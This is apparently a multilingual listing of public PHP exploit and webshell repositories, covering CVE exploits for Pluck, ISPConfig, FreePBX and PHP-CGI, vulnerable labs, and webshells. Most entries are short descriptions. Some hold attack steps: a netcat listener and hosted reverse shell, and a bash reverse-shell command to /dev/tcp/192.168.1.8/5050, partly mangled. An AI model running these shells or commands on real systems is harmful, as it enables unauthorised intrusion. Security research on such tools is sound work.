Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 - Pluck CMS v4.7.18 Remote Code Execution RCE Exploit Description This script exploits a Remote Code Execution RCE vulnerability in Pluck CMS v4.7.18. The vulnerability allows a malicious user to upload a malicious PHP file to the server and execute it, gaining remote command...

cve-2025-0364

CVE-2025-0364: BigAntSoft BigAnt Server - Bypass della Registrazione dell'Account per RCE tramite Upload di File Il BigAntSoft BigAnt Server, che fornisce un server di chat on-premises ospitato su Windows e focalizzato su casi d'uso aziendali, è vulnerabile all'esecuzione remota di codice non...

CVE-2023-20209

Ich habe angefangen, mich mit Cisco Expressway zu beschäftigen, nachdem mir bei Red-Team-Einsätzen eine ganze Reihe davon im Internet aufgefallen war. Während der Arbeit hatte ich jedoch nie die Zeit, das Produkt näher zu untersuchen. Ursprünglich suchte ich nach einem Auth-Bypass, um ihn zu eine...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit How to 1. Create a php reverse shell 2. Start server to host shell in the same directory python3 -m http.server 3. Start netcat listener on local port of choice example: nc -nlvp port of choice 4. Run exploit example provided below python3 modifiedCVE20153306.py...

ctf-cve-2019-11043

Task Management APP CVE-2019-11043 Lab Minimal PHP app with intentionally vulnerable Nginx/PHP-FPM setup for reproducing CVE-2019-11043. Includes a tiny task manager, login/admin, and DB config UI. Build & Run Docker build docker build -t cve-2019-11043-lab:app . run docker run --rm -p 8080:80...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP Code Injection PoC Exploit Bash Introduction ISPConfig versions = 3.2.11 are vulnerable to an authenticated PHP code injection vulnerability via the records parameter in the /admin/languageedit.php endpoint. A malicious authenticated admin user can exploit this to...

ip-finder-cli

IPFinder CLI Interfaccia a riga di comando https://ipfinder.io/ Supporta indirizzo IP singolo, ASN, intervalli, firewall come input Supporta operazioni bulk Esporta risultati a schermo o in un file di output Supporta IPv4 e IPv6 Supporta numeri ASN, INTERVALLI, Firewall Per iniziare registrati pe...

b4tm4n

B4TM4N PHP WEBSHELL Account di Accesso Predefinito Username : k4mpr3t Password : k4mpr3t Funzionalità 0 File Manager 1 Sec. Info 2 Simply Database 3 Interactive terminal 4 PHP Reverse Back Connect 5 Run PHP Code 6 Custom Toolz 7 Self Script Encryptor ! 8 Error Handler 9 Themes Criptatore Automati...

vapi

vAPI vAPI è un'Interfaccia Programmata Avversariamente Vulnerabile, un'API auto-hostabile che simula gli scenari OWASP API Top 10 sotto forma di esercizi. Requisiti PHP MySQL PostMan MITM Proxy Installazione Docker docker-compose up -d Installazione Manuale Copia del codice cd git clone...

CVE-2024-4577

🚀 CVE-2024-4577: PHP-CGI-Argument-Injection-Scanner und -Exploit 🛡️ Übersicht CVE-2024-4577 ist eine kritische Schwachstelle , die PHP-Anwendungen betrifft, die die Common Gateway Interface CGI verwenden. Dieses Tool dient sowohl als Scanner als auch als Exploit und ermöglicht...

nano

nano Nano ist eine Familie von PHP-Webshells, die durch Code-Golf extrem unauffällig und effizient gemacht wurden. Behalte es vielleicht im Auge, ich werde hier weiterhin weitere Webshells hochladen. Nano ?=$GETp==&&$GETf; Funktionen 35 Bytes groß Kann von statischen Code-Scannern nicht erkannt...

CVE-2025-57819-RCE

FreePBX 16 — Da SQLi non autenticata a RCE Riepilogo: questo documento mostra come combinare due vulnerabilità di FreePBX 16 CVE-2025-57819 e CVE-2025-61678 per realizzare una catena d'attacco completa dall'accesso non autenticato fino all'esecuzione remota di codice Remote Code Execution, RCE...

MassExploit-CVE-2024-4577

CVE-2024-4577 Mass Scanner & Exploit Tool This Python script automates the detection of servers vulnerable to CVE-2024-4577 , a critical vulnerability in PHP-CGI that allows remote code execution RCE through specially crafted query parameters. The tool sends a PHP payload using...

CVE-2023-47253

CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', Prova di concetto POC Basta accedere all'URL con il tuo codice PHP nel parametro "gridValoresPopHidden"...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

CVE-2025-49113-Simulation

Roundcube RCE Lab CVE-2025-49113 A hands-on, containerized lab environment to simulate and exploit a critical Post-Authentication RCE vulnerability in Roundcube Webmail, identified as CVE-2025-49113. 📖 About The Vulnerability This lab demonstrates a sophisticated attack chain against the Roundcub...

hostscan

hostscan 0.2 Hostscan è uno strumento PHP che ti permette di scansionare un intervallo specifico di host, principalmente per la raccolta di informazioni e per testare password deboli. Immagino sia uno strumento di pentest, l'ho creato per automatizzare alcuni test che faccio spesso. Dato che è in...

CVE-2023-5965

PoC per Espo CRM 7.2.4 CVE-2023-5965 & CVE-2023-5965 CVE-2023-5965 Avviso Un utente autenticato con privilegi potrebbe caricare un file zip appositamente predisposto sul server EspoCRM nella versione 7.2.5, tramite il modulo di aggiornamento, che potrebbe portare all'esecuzione di codice PHP...

juicy-php

juicy-php Juicy-php - trova file info PHP con informazioni succose...

docker-CVE-2019-11043

Immagine Docker e comandi per verificare CVE-2019-11043 CVE: CVE-2019-11043 Descrizione: Nelle versioni di PHP 7.1.x precedenti alla 7.1.33, 7.2.x precedenti alla 7.2.24 e 7.3.x precedenti alla 7.3.11, in alcune configurazioni di FPM è possibile causare la scrittura del modulo FPM oltre i buffer...